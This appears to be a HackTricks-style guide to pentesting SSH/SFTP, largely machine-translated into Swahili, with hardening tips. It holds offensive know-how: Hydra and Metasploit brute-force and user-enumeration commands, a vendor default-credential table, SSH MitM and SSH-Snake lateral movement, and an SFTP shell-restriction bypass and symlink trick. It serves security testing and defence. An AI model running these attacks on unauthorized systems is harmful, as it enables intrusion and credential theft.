22 - Pentesting SSH/SFTP

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Basic Information

SSH (Secure Shell au Secure Socket Shell) ni protokali ya mtandao inayowezesha muunganisho salama kwa kompyuta kupitia mtandao usio salama. Ni muhimu kwa kudumisha usiri na uadilifu wa data unapofikia mifumo ya mbali.

Bandari ya kawaida: 22

22/tcp open  ssh     syn-ack

SSH servers:

• openSSH – OpenBSD SSH, iliyopelekwa katika BSD, usambazaji wa Linux na Windows tangu Windows 10

• Dropbear – Utekelezaji wa SSH kwa mazingira yenye rasilimali chache za kumbukumbu na processor, iliyopelekwa katika OpenWrt

• PuTTY – Utekelezaji wa SSH kwa Windows, mteja hutumika mara nyingi lakini matumizi ya seva ni nadra

• CopSSH – utekelezaji wa OpenSSH kwa Windows

SSH libraries (implementing server-side):

• libssh – maktaba ya C ya majukwaa mengi inayotekeleza protokali ya SSHv2 yenye viunganishi katika Python, Perl na R; inatumika na KDE kwa sftp na na GitHub kwa miundombinu ya git SSH

• wolfSSH – maktaba ya seva ya SSHv2 iliyoandikwa kwa ANSI C na iliyolengwa kwa mazingira yaliyo na vifaa vya ndani, RTOS, na rasilimali chache

• Apache MINA SSHD – maktaba ya java ya Apache SSHD inategemea Apache MINA

• paramiko – maktaba ya protokali ya Python SSHv2

Enumeration

Banner Grabbing

nc -vn <IP> 22

Automated ssh-audit

ssh-audit ni chombo cha ukaguzi wa usanidi wa seva na mteja wa ssh.

https://github.com/jtesta/ssh-audit ni toleo lililosasishwa kutoka https://github.com/arthepsy/ssh-audit/

Features:

• Msaada wa protokali ya SSH1 na SSH2;

• changanua usanidi wa mteja wa SSH;

• pata bango, tambua kifaa au programu na mfumo wa uendeshaji, gundua ufinyu;

• kusanya funguo za kubadilishana, funguo za mwenyeji, algorithms za usimbaji na msimbo wa uthibitishaji wa ujumbe;

• toa taarifa za algorithm (inapatikana tangu, imeondolewa/imezimwa, isiyo salama/ dhaifu/ ya zamani, nk);

• toa mapendekezo ya algorithm (ongeza au ondolea kulingana na toleo la programu lililotambuliwa);

• toa taarifa za usalama (masuala yanayohusiana, orodha ya CVE iliyotolewa, nk);

• changanua ulinganifu wa toleo la SSH kulingana na taarifa za algorithm;

• taarifa za kihistoria kutoka OpenSSH, Dropbear SSH na libssh;

• inafanya kazi kwenye Linux na Windows;

• haina utegemezi

usage: ssh-audit.py [-1246pbcnjvlt] <host>

-1,  --ssh1             force ssh version 1 only
-2,  --ssh2             force ssh version 2 only
-4,  --ipv4             enable IPv4 (order of precedence)
-6,  --ipv6             enable IPv6 (order of precedence)
-p,  --port=<port>      port to connect
-b,  --batch            batch output
-c,  --client-audit     starts a server on port 2222 to audit client
software config (use -p to change port;
use -t to change timeout)
-n,  --no-colors        disable colors
-j,  --json             JSON output
-v,  --verbose          verbose output
-l,  --level=<level>    minimum output level (info|warn|fail)
-t,  --timeout=<secs>   timeout (in seconds) for connection and reading
(default: 5)
$ python3 ssh-audit <IP>

See it in action (Asciinema)

Funguo la SSH la umma wa seva

ssh-keyscan -t rsa <IP> -p <PORT>

Algorithimu za Cipher Zenye Ukatili

Hii inagundulika kwa default na nmap. Lakini unaweza pia kutumia sslcan au sslyze.

Skripti za Nmap

nmap -p22 <ip> -sC # Send default nmap scripts for SSH
nmap -p22 <ip> -sV # Retrieve version
nmap -p22 <ip> --script ssh2-enum-algos # Retrieve supported algorythms
nmap -p22 <ip> --script ssh-hostkey --script-args ssh_hostkey=full # Retrieve weak keys
nmap -p22 <ip> --script ssh-auth-methods --script-args="ssh.user=root" # Check authentication methods

Shodan

• ssh

Brute force usernames, passwords and private keys

Username Enumeration

Katika baadhi ya matoleo ya OpenSSH unaweza kufanya shambulio la wakati ili kuhesabu watumiaji. Unaweza kutumia moduli ya metasploit ili kutumia hii:

msf> use scanner/ssh/ssh_enumusers

Brute force

Baadhi ya akisi za kawaida za ssh hapa na hapa na hapa chini.

Private Key Brute Force

Ikiwa unajua baadhi ya funguo za kibinafsi za ssh ambazo zinaweza kutumika... hebu jaribu. Unaweza kutumia skripti ya nmap:

https://nmap.org/nsedoc/scripts/ssh-publickey-acceptance.html

Au moduli wa msaada wa MSF:

msf> use scanner/ssh/ssh_identify_pubkeys

Or use ssh-keybrute.py (native python3, lightweight and has legacy algorithms enabled): snowdroppe/ssh-keybrute.

Known badkeys can be found here:

ssh-badkeys/authorized at master · rapid7/ssh-badkeysGitHub

Weak SSH keys / Debian predictable PRNG

Baadhi ya mifumo yana kasoro zinazojulikana katika mbegu za nasibu zinazotumika kuunda vifaa vya kificho. Hii inaweza kusababisha kupungua kwa kiwango cha funguo ambacho kinaweza kufanywa kwa nguvu. Seti za funguo zilizoundwa awali kwenye mifumo ya Debian iliyoathiriwa na PRNG dhaifu zinapatikana hapa: g0tmi1k/debian-ssh.

Unapaswa kutazama hapa ili kutafuta funguo halali za mashine ya mwathirika.

Kerberos

crackmapexec kutumia itifaki ya ssh inaweza kutumia chaguo --kerberos ili kujiandikisha kupitia kerberos. Kwa maelezo zaidi, endesha crackmapexec ssh --help.

Default Credentials

Vendor	Usernames	Passwords
APC	apc, device	apc
Brocade	admin	admin123, password, brocade, fibranne
Cisco	admin, cisco, enable, hsa, pix, pnadmin, ripeop, root, shelladmin	admin, Admin123, default, password, secur4u, cisco, Cisco, _Cisco, cisco123, C1sco!23, Cisco123, Cisco1234, TANDBERG, change_it, 12345, ipics, pnadmin, diamond, hsadb, c, cc, attack, blender, changeme
Citrix	root, nsroot, nsmaint, vdiadmin, kvm, cli, admin	C1trix321, nsroot, nsmaint, kaviza, kaviza123, freebsd, public, rootadmin, wanscaler
D-Link	admin, user	private, admin, user
Dell	root, user1, admin, vkernel, cli	calvin, 123456, password, vkernel, Stor@ge!, admin
EMC	admin, root, sysadmin	EMCPMAdm7n, Password#1, Password123#, sysadmin, changeme, emc
HP/3Com	admin, root, vcx, app, spvar, manage, hpsupport, opc_op	admin, password, hpinvent, iMC123, pvadmin, passw0rd, besgroup, vcx, nice, access, config, 3V@rpar, 3V#rpar, procurve, badg3r5, OpC_op, !manage, !admin
Huawei	admin, root	123456, admin, root, Admin123, Admin@storage, Huawei12#$, HwDec@01, hwosta2.0, HuaWei123, fsp200@HW, huawei123
IBM	USERID, admin, manager, mqm, db2inst1, db2fenc1, dausr1, db2admin, iadmin, system, device, ufmcli, customer	PASSW0RD, passw0rd, admin, password, Passw8rd, iadmin, apc, 123456, cust0mer
Juniper	netscreen	netscreen
NetApp	admin	netapp123
Oracle	root, oracle, oravis, applvis, ilom-admin, ilom-operator, nm2user	changeme, ilom-admin, ilom-operator, welcome1, oracle
VMware	vi-admin, root, hqadmin, vmware, admin	vmware, vmw@re, hqadmin, default

SSH-MitM

Ikiwa uko kwenye mtandao wa ndani kama mwathirika ambaye atajiunga na seva ya SSH kwa kutumia jina la mtumiaji na nenosiri, unaweza kujaribu kufanya shambulio la MitM ili kuiba akreditivu hizo:

Njia ya shambulio:

• Uelekezaji wa Trafiki: Mshambuliaji anahamisha trafiki ya mwathirika kwenye mashine yao, kwa ufanisi akikamata jaribio la kuungana na seva ya SSH.

• Kukamata na Kurekodi: Mashine ya mshambuliaji inafanya kazi kama proxy, ikikamata maelezo ya kuingia ya mtumiaji kwa kujifanya kuwa seva halali ya SSH.

• Utendaji wa Amri na Uhamasishaji: Hatimaye, seva ya mshambuliaji inakumbuka akreditivu za mtumiaji, inasambaza amri kwa seva halisi ya SSH, inafanya hizo, na inatuma matokeo nyuma kwa mtumiaji, ikifanya mchakato huo kuonekana kuwa wa kawaida na halali.

SSH MITM inafanya kile kilichoelezwa hapo juu.

Ili kukamata kufanya MitM halisi unaweza kutumia mbinu kama ARP spoofing, DNS spoofing au nyingine zilizoelezwa katika Mashambulizi ya Spoofing ya Mtandao.

SSH-Snake

Ikiwa unataka kupita mtandao kwa kutumia funguo za kibinafsi za SSH zilizogunduliwa kwenye mifumo, ukitumia kila funguo ya kibinafsi kwenye kila mfumo kwa ajili ya mwenyeji mpya, basi SSH-Snake ndiyo unayohitaji.

SSH-Snake inatekeleza kazi zifuatazo kiotomatiki na kwa kurudiarudia:

1. Kwenye mfumo wa sasa, pata funguo zozote za kibinafsi za SSH,

2. Kwenye mfumo wa sasa, pata mwenyeji au marudio yoyote (mtumiaji@ mwenyeji) ambayo funguo za kibinafsi zinaweza kukubaliwa,

3. Jaribu SSH kuingia kwenye marudio yote kwa kutumia funguo zote za kibinafsi zilizogunduliwa,

4. Ikiwa marudio yameunganishwa kwa mafanikio, rudia hatua #1 - #4 kwenye mfumo uliounganishwa.

Ni ya kujirudia kabisa na kujiendeleza - na haina faili kabisa.

Config Misconfigurations

Root login

Ni kawaida kwa seva za SSH kuruhusu kuingia kwa mtumiaji wa root kwa chaguo-msingi, ambayo inatoa hatari kubwa ya usalama. Kuzima kuingia kwa root ni hatua muhimu katika kulinda seva. Ufikiaji usioidhinishwa na mamlaka ya usimamizi na mashambulizi ya nguvu yanaweza kupunguziliwa mbali kwa kufanya mabadiliko haya.

Kuzima Kuingia kwa Root katika OpenSSH:

1. Hariri faili ya usanidi ya SSH kwa: sudoedit /etc/ssh/sshd_config

2. Badilisha mipangilio kutoka #PermitRootLogin yes hadi PermitRootLogin no.

3. Reload usanidi kwa kutumia: sudo systemctl daemon-reload

4. Restart seva ya SSH ili kutekeleza mabadiliko: sudo systemctl restart sshd

SFTP Brute Force

• SFTP Brute Force

SFTP command execution

Kuna makosa ya kawaida yanayotokea na mipangilio ya SFTP, ambapo wasimamizi wanakusudia kwa watumiaji kubadilishana faili bila kuwezesha ufikiaji wa shell ya mbali. Licha ya kuweka watumiaji na shells zisizoingiliana (k.m., /usr/bin/nologin) na kuwafunga kwenye saraka maalum, kuna pengo la usalama. Watumiaji wanaweza kupita vizuizi hivi kwa kuomba utekelezaji wa amri (kama /bin/bash) mara tu baada ya kuingia, kabla shell yao isiyoingiliana haijachukua. Hii inaruhusu utekelezaji wa amri zisizoidhinishwa, ikikandamiza hatua za usalama zilizokusudiwa.

Esampuli kutoka hapa:

ssh -v noraj@192.168.1.94 id
...
Password:
debug1: Authentication succeeded (keyboard-interactive).
Authenticated to 192.168.1.94 ([192.168.1.94]:22).
debug1: channel 0: new [client-session]
debug1: Requesting [e-mail]
debug1: Entering interactive session.
debug1: pledge: network
debug1: client_input_global_request: rtype [e-mail] want_reply 0
debug1: Sending command: id
debug1: client_input_channel_req: channel 0 rtype exit-status reply 0
debug1: client_input_channel_req: channel 0 rtype [e-mail] reply 0
uid=1000(noraj) gid=100(users) groups=100(users)
debug1: channel 0: free: client-session, nchannels 1
Transferred: sent 2412, received 2480 bytes, in 0.1 seconds
Bytes per second: sent 43133.4, received 44349.5
debug1: Exit status 0

$ ssh noraj@192.168.1.94 /bin/bash

Hapa kuna mfano wa usanidi salama wa SFTP (/etc/ssh/sshd_config – openSSH) kwa mtumiaji noraj:

Match User noraj
ChrootDirectory %h
ForceCommand internal-sftp
AllowTcpForwarding no
PermitTunnel no
X11Forwarding no
PermitTTY no

Hii usanidi itaruhusu tu SFTP: kuzuia ufikiaji wa shell kwa kulazimisha amri ya kuanzisha na kuzuia ufikiaji wa TTY lakini pia kuzuia aina zote za upitishaji bandari au tunneling.

SFTP Tunneling

Ikiwa una ufikiaji wa seva ya SFTP unaweza pia kupitisha trafiki yako kupitia hii kwa mfano kwa kutumia upitishaji bandari wa kawaida:

sudo ssh -L <local_port>:<remote_host>:<remote_port> -N -f <username>@<ip_compromised>

SFTP Symlink

The sftp have the command "symlink". Therefore, if you have writable rights in some folder, you can create symlinks of other folders/files. As you are probably trapped inside a chroot this won't be specially useful for you, but, if you can access the created symlink from a no-chroot service (for example, if you can access the symlink from the web), you could open the symlinked files through the web.

For example, to create a symlink from a new file "froot" to "/":

sftp> symlink / froot

If you can access the file "froot" via web, you will be able to list the root ("/") folder of the system.

Njia za uthibitishaji

Katika mazingira ya usalama wa juu, ni kawaida kuwezesha tu uthibitishaji wa msingi wa funguo au uthibitishaji wa hatua mbili badala ya uthibitishaji wa msingi wa nenosiri rahisi. Lakini mara nyingi njia za uthibitishaji zenye nguvu zaidi zinawezeshwa bila kuzima zile dhaifu. Kesi ya kawaida ni kuwezesha publickey kwenye usanidi wa openSSH na kuipatia kama njia ya default lakini bila kuzima password. Hivyo kwa kutumia hali ya verbose ya mteja wa SSH, mshambuliaji anaweza kuona kwamba njia dhaifu imewezeshwa:

ssh -v 192.168.1.94
OpenSSH_8.1p1, OpenSSL 1.1.1d  10 Sep 2019
...
debug1: Authentications that can continue: publickey,password,keyboard-interactive

Kwa mfano, ikiwa kikomo cha kushindwa kwa uthibitishaji kimewekwa na hujawahi kupata nafasi ya kufikia njia ya nywila, unaweza kutumia chaguo la PreferredAuthentications kulazimisha kutumia njia hii.

ssh -v 192.168.1.94 -o PreferredAuthentications=password
...
debug1: Next authentication method: password

Kagua usanidi wa seva ya SSH ni muhimu ili kuhakikisha kwamba ni mbinu pekee zinazotarajiwa ndizo zimeidhinishwa. Kutumia hali ya verbose kwenye mteja kunaweza kusaidia kuona ufanisi wa usanidi.

Config files

ssh_config
sshd_config
authorized_keys
ssh_known_hosts
known_hosts
id_rsa

Fuzzing

• https://packetstormsecurity.com/files/download/71252/sshfuzz.txt

• https://www.rapid7.com/db/modules/auxiliary/fuzzers/ssh/ssh_version_2

References

• Unaweza kupata miongozo ya kuvutia juu ya jinsi ya kuimarisha SSH katika https://www.ssh-audit.com/hardening_guides.html

• https://community.turgensec.com/ssh-hacking-guide

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HackTricks Automatic Commands

Protocol_Name: SSH
Port_Number: 22
Protocol_Description: Secure Shell Hardening

Entry_1:
Name: Hydra Brute Force
Description: Need Username
Command: hydra -v -V -u -l {Username} -P {Big_Passwordlist} -t 1 {IP} ssh

Entry_2:
Name: consolesless mfs enumeration
Description: SSH enumeration without the need to run msfconsole
Note: sourced from https://github.com/carlospolop/legion
Command: msfconsole -q -x 'use auxiliary/scanner/ssh/ssh_version; set RHOSTS {IP}; set RPORT 22; run; exit' && msfconsole -q -x 'use scanner/ssh/ssh_enumusers; set RHOSTS {IP}; set RPORT 22; run; exit' && msfconsole -q -x 'use auxiliary/scanner/ssh/juniper_backdoor; set RHOSTS {IP}; set RPORT 22; run; exit'

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